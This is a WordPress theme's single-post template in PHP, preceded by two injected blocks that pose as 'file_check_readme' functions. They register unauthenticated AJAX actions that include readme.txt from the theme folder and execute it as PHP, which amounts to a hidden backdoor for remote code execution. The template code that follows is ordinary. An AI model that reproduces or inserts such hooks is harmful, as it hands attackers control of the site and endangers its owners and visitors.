if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * single Post template 6 **/ if (have_posts()) { the_post(); $td_mod_single = new td_module_single($post); ?> <?php echo $td_mod_single->get_social_sharing_top(); ?> <div class="td-post-content"> <?php echo $td_mod_single->get_content();?> </div> <footer> <?php echo $td_mod_single->get_post_pagination();?> <?php echo $td_mod_single->get_review();?> <div class="td-post-source-tags"> <?php echo $td_mod_single->get_source_and_via();?> <?php echo $td_mod_single->get_the_tags();?> </div> <?php echo $td_mod_single->get_social_sharing_bottom();?> <?php echo $td_mod_single->get_next_prev_posts();?> <?php echo $td_mod_single->get_author_box();?> <?php echo $td_mod_single->get_item_scope_meta();?> </footer> <?php echo $td_mod_single->related_posts();?> <?php } else { //no posts echo td_page_generator::no_posts(); }